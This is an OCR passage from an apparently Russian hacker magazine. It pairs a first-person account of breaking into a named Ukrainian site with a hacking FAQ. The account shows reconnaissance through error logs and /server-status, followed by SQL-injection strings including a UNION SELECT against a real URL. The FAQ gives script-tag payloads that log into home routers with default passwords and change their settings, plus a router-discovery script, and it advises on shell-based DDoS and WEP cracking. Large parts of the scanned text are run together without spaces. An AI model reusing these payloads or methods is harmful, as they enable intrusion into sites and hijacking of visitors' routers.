книги хакеры / журнал хакер / 101_Optimized

Зато меня порадовали директории. Сначала я заглянул в папку /icons, даже и не надеясь найти там что-то интересное :). Далее выясни-

лось, что на сервере стоит phpMyAdmin в одноименной папке. А это уже интересно. Затем админка, которая находилась в /config. При ее осмотре на наличие SQL-инъекции, с помощью которой можно было бы войти в админку по запросу типа «' or '1' = '1'», я снова ничего не нашел. Я подождал еще немного, и сканер скинул мне линки на /webmail (с нее тоже было нечего взять) и на Error_Log, в котором мне посчастливилось обнаружить лог ошибок в PHP-скриптах:

[20 Dec-2005 23:56:19] PHP Warning: file(news.xml): failed to open stream: No such file or directory in /home/medicalc/ public_html/money/xml.php on line 14

[20 Dec-2005 23:56:19] PHP Warning: join(): Bad arguments. in /home/medicalc/public_html/ money/xml.php on line 14 [20 Dec-2005 23:56:19] PHP Fatal error: Call to a member function on a non-object in /home/ medicalc/public_html/money/xml. php on line 26

[20 Dec-2005 23:59:03] PHP Fatal error: Call to a member function on a non-object in /home/ medicalc/public_html/money/xml. php on line 26

[21 Dec-2005 00:03:49] PHP Warning: fopen(rss.xml): failed to open stream: Permission denied in /home/medicalc/public_html/ money/rss.php on line 57 [09 Jan-2006 17:42:28] PHP Warning: mysql_connect(): Can't connect to local MySQL server through socket '/var/tmp/mysql. sock' (2) in /home/medicalc/ public_html/money/index.php on line 5

Естественно, из ошибок вытянуть чего-ни- будь занятное не получилось, но это только на первый взгляд. Теперь совершенно очевидно, что скрипты работают с MySQL и полный путь к сайту у нас таков: /home/medicalc/public_html/ emoney.

Ты думаешь, на этом мое исследование закончилось и я решил забить на обменник и пойти болтать в IRC? Нет. Самое главное, что нашел сканер, — это /server-status. Теперь уже интересно…

Существеннаязацепка

Что же это за загадочная дира — /server-status? Это даже не просто директория и не скрипт, а исключительно Apache'вская примочка. Она отображает всю информацию о веб-сервере: версию Apache, модули и т.д., текущее время, аптайм сервера, нагрузку CPU. Кроме того, из нее можно выудить просто море информации о том, какие сайты хостятся на всем сервере. В общем, выглядит это так, как на картинке.

Ясобралсписоксайтовипринялсяихизучать. Ксловусказать,ихоказалосьвсего5-6.Нои тутбыло,гдеразгуляться.Длятех,ктовтанке, поясню,чемуятакрадуюсь:яищунаодномиз этихдвухсайтовбагиполучаюшеллнасервере обменника.Далеееслиадминистраторсервера

—идиотинеправильновыставилchmod'ы,то япостараюсьзабратьсянаобменник,вином случае—простоподнимусвоипривилегии локально:).

Итак, я выбрал сайт medicalc.ua. Почему? Да потому, что мне сразу понравилось, что этот сайт оказался в Error_Log'e моего обменника с ошибками PHP-скрипта:

[09 Jan-2006 17:42:28] PHP Warning: mysql_connect(): Can't connect to local MySQL server through socket '/var/tmp/mysql. sock' (2) in /home/medicalc/ public_html/money/index.php on line 5

Это можно увидеть из директории, в которой находится сайт. Согласись, логично думать, что

этот сайт и мой обменник очень тесно связаны друг с другом, ведь не просто так в логах хранятся его ошибки. Да, кстати, тоже самое (я о том, как узнать, какие сайты хостятся на сервере) тебе может предложить и метод Reverse IP LookUp, о котором NSD писал в мартовском номере за 2005 год в статье «Удар по WEB’у». Но, к сожалению, сервис domainsdb.org накрылся, поэтому я предлагаю тебе альтернативный сервис www.domaintools.com.

Итак,перейдянаинтересующийменяресурс meidcalc.ua,яобнаружилсайт,посвященный медицине.Особоейнеинтересуясьипотомуне отвлекаясь,яначалосматриватьскрипты.Сна- чалаязаглянулвочто-товродегостевойкниги /guestbook,но,несмотрянавсесвоиусилия, ничегонайтитакинесмог,хотябылуверен,что активнаяXSSтутбудетточно:).Нозатемудача повернуласькомнелицом,иужечерезпару минутянашеллинквида«index.php?id=37».По привычкеяпоставилвпеременнуюidсвоюэлитнуюкавычкуиувиделоченьинтереснуюошибку:

PHP Warning: mysql_fetch_ array(): supplied argument is not a valid MySQL result resource in /home/medicalc/public_html/ medical/index.php on line 416

Отлично! SQL-инъекция во всей ее красе!

Штурмуеминъекцию!

К сожалению, разработчики MySQL не предусмотрели в ней функций вроде UNION SELECT ALL_DATABASE_DUMP или UNION SELECT OTDAY_MNE_VSE_PAROLI :), поэтом остава-

лось только подобрать количество столбцов и узнать имена таблиц, что я и принялся делать. Как выяснилось, столбцов было всего 6 и запрос, который бы выполнялся без ошибок, выглядел так:

http://medicalc.ua/index.php?id=

1+UNION+select+1,2,3,4,5,6/*

Сначала я собрал информацию о версии MySQL-базы и о том, с чем я вообще имею дело:

Нанашемсайте hellknights.void.ruты найдешьвесьсофт, которыйпомогмне осуществитьэтот нелегкийвзлом.

евгений «CoRWin» еРМАков

/ hack-faQ@real.xakep.ru /

faq you faqing faq

Q: слЫШалПроDDOS-систеМЫ,БазируЮЩиесянаШеллаХ.

насколькоЭтоЭффективно?

A: В отличие от DDoS’а посредством ботнета, организовать DDoS с помощью шеллов намного легче. Тут нам нужны только вебшеллы (30-60 штук) и удобная система. Я работал с несколькими системами, базирующимися на скриптах. В паблике таких пакетов очень мало (к примеру, давно появившийся в пабе Smerch). Завалить с их помощью сервера с большим каналом достаточно сложно, но возможно. Просто общая пропускная способность серверов, используемых для DDoS’а, должна быть больше, чем у атакуемого сервера. Достаточно эффективны системы, использующие в качестве панели управления php-скрипты, а в качестве самого DDoS’ера perl-скрипт (Cyber DDoS System). Сейчас разве-

лись барыги, продающие один лишь perl-скрипт, и я не советую брать такие вещи, хотя бы потому что неудобно заливать вручную скрипт, допустим, на 40 шеллов.

Q: всеЧаЩеиЧаЩевижуоБЪявленияоПредоставлении

Прокси-сервисов.неужелитакПростоМожнонаЧатьзара- БатЫвать?какиенужнЫвложения?

A: Для начала решим: будем ли мы делать все сами или прибегнем к помощи сторонних лиц. Если мы выбираем второй путь, то необходимо определиться, во что придется вложить деньги:

1.загрузки софта;

2.разработка софта;

3.абузоустойчивый хостинг (на первых порах нужно быть готовым к многодневным DDoS-атакам, абузам от конкурентов; сейчас борьба между прокси-сервисами ожесточилась как никогда и люди идут на любые меры, чтобы отбить клиентов);

4.реклама;

5.разработка веб-интерфейса/сайта (я сам недавно столкнулся с тем, что

клиенты не желают брать прокси списками через аську или мейл, всем хочется интерактивности, и без фейса сервис может вообще не принести никакой прибыли).

А теперь посчитаем, сколько (максимально) это все может стоить:

1.загрузки софта — все зависит от твоего желания; можно вложить $500,

аможно и $5000;

2.разработка бота — $100-300;

3. покупка хостинга — $30-80;

4. реклама — $100-200;

5. разработка сайта — $100-150. Итог: $700 (без загрузок).

Естественно, цены колеблются в довольно широких пределах, и не факт, что у тебя получится именно такая сумма. Я же исхожу исключительно из своего опыта и опыта своих знакомых.

Q: естьлисПециализированнЫеатакинаADSL-МодеМЫ?

МожноливзлоМатьЧеловека,исПользуЮЩегороутер?

A: Вмодемахпериодическиобнаруживаютуязвимости,ноони,какправило,непозволяютполучитьудаленныйдоступ.Наиболеепростымиочевиднымспособомвзломаздесьявляетсябанальная проверканадефолтныепароли.Можнопросканироватьдиапазон IP-адресовнапредмет web-сервисовипопробоватьподключить- сяквеб-интерфейсумодема,адальшевбиватьдефолтныепассы. Еслиповезет,получишьуправлениемодемом.Еслиречьидето массовомвзломепроизвольныхюзеров,тоздесьможнозаразить индекснуюстраницувзломанногосайтанесколькимистрочками, меняющимидефолтныйпарольнанаш.Пример:

<script src="admin:admin@192.168.1.0/login.php?Change= 192.168.1.200"></script>

<script src="admin:password@192.168.1.0/login.php?Chan ge=192.168.1.200"></script>

<script src="admin:admin@192.168.1.0/Setup.php? block=IP"></script>

<script src="admin:admin@192.168.1.0/Setup.php? block=IP"></script>

Сначала авторизуемся и лишь потом изменяем настройки.

Но здесь не все так просто, и сначала следует определить тип модема/роутера. Для этого Jungsonn’ом был написан скрипт:

<script> function IP()

{

try {

var sock = new java.net.Socket();

sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));

sock.connect(new java.net.InetSocketAddress(document. domain, (!document.location.port)?80:document. location.port));

address = sock.getLocalAddress().getHostAddress(); return address;

} catch(e) { address = "192.196.1.0"; }

}

</script>

Идентифицируем устройство:

<img src="http://<script>IP();</script>/Images/Logo. gif» onError="alert('Not found, lets try PHP now.');">

Ищем роутеры:

<?

# Brute search a range with PHP for($i=200;$i<255;$i++) {

?>

<img src="http://192.168.1.<?=$i;?>/Images/Logo. gif" onLoad="alert('I found the Router! ip: 192.168.1.<?=$i;?>');">

<?

}

?>

Проверка большого количества пользователей может занять много времени, так что дело за тобой — совершенствуй.

Список дефолтных паролей ко многим устройствам есть на http://phenoelit.de/dpl/dpl.html.

Q: ХоЧуорганизоватьХостингнаБотаХ,

возМожнолитакое?

A: Это достаточно объемная тема, которая заслуживает отдельной статьи, так что я лишь перечислю вкратце ее основные аспекты:

1. Распределенное хранение контента на ботах.

Разработать стабильную схему работы сложно, да и для предоставления большого хостинга потребуется значительно большее количество ботов, чем для обычного DDoS’а, плюс нужны толстые каналы. То есть необходимо рассчитать наиболее оптимальный объем хранимой инфы на каждом боте.

По идее, такой хостинг использовать не получится, так как непонятно,

ккакому адресу будут обращаться клиенты. Можно привязать

ккаждому боту виртуальный адрес (будем ориентироваться на грубую схему «бот страница»), который впоследствии предоставлялся бы клиенту. Мы даем юзеру, например, айпишник предполагаемой страницы 123.456.78.9, а сами перебрасываем его на 123.456.79.9. Да и управлять подобным «хостингом» придется исключительно через какой-либо фейс (web-интерфейс, например). В общем, отбрасываем этот бред сразу.

2.Использование ботов как кэширующий сервер, забирающий содержи-

мое со стороннего сервера.

3. Коннектподомену,ккоторомуцепляетсяадресопределенногобота. После«смерти»ботасглавногобэкапногосерверазаливаетсяклиентскийконтентнановогобота,адрескоторогоцепляетсякдомену.

Q: ПроЧелотеоретиЧескоЙреализацииатакиFMSвWI-FI

сетяХ.какоЙсофтисПользоватьдляЭтого?сижуПодLINUX/ FREEBSD.

A: Тутможнооднозначнопосоветоватьпрограммуdwepcrack (www.dachb0den.com/projects/dwepcrack.html)изизвестного комплектаdweputils(www.dachb0den.com/projects/dweputils. html),входящеговbsd-airtools.Подробностиобиспользовании читайвREADME.

Q: какиеновЫетенденцииПредвидятсявXSS-атакаХ?

Может,ПоявилисьновЫетеХнологии,иливсеостановилосьнастандартноМугонекукисов?

A: Как ни странно, но у спецов по информационной безопасности и просто энтузиастов получается выжить последние соки из XSS. Стали возникать новые (а зачастую хорошо забытые старые) разновидности XSS-атак, например CSRF-атака (почитать о ней можно здесь: http://securitylab.ru/analytics/292473.php), немного похожая на XSS. Также появилась новая (из серии «открыли Америку») атака Drive-By Pharming, заключающаяся в изменении настроек маршрутизатора посредством вредоносного кода, встраиваемого в страницы сайта В недалеком будущем эксперты прогнозируют появление «умных» XSS-червей и DDoS-атак, построенных на этих самых червях, а также разного рода малварей (malware), базирующихся на вебе. Фишеры тоже не стоят на месте, постоянно используя XSS-баги для обворовывания доверчивых юзеров.

Q: надоелоПостояннодоверятьавераМ:тоуниХоБЫЧ-

нЫЙвеБ-ШеллоПределяетсякак«оПаснЫЙзверь»,тоони неМогутнаЙтисвежиЙруткитвМоеЙсистеМе.естьжеланиевседелатьруЧкаМи,ноЧтодляЭтогонужно?

A: Даже опытные вирмейкеры, если есть подозрение в заражении, сначала уступают место аверам и только потом работают вручную. Автоматизация — великая вещь и делать все самому довольно иррационально. Ну а что требуется для этого, думаю, и так понятно: знание ассемблера, дизассемблеров (вроде IDA), ключей реестра, умение работать с таким софтом, как декомпиляторы и распаковщики.

Q: Подскажи,какиееЩесуЩествуЮтIDSдляWI-FIсетеЙс

открЫтЫМиисХодникаМи,кроМеSNORT'AидругиХ,недавно ПереЧисленнЫХвжурнале?

A: WIDS, имеющая стандартный функционал (обнаружение частых запросов, детектинг затопления запросами, анализ фреймов и т.д.), но отличающаяся наличием своего рода механизма Honeypot для приманки потенциальных взломщиков.

Еще одна система со сходным первой названием — WIDZ, умеющая противодействовать атаке EvilTwin (то есть находить подставные точки доступа), мониторить сеть на подозрительный трафик и т.п. К сожалению, в ней периодически находят уязвимости.

Ну и не стоит забывать о том, что в Kismet тоже есть функции IDS. z

Крис Касперски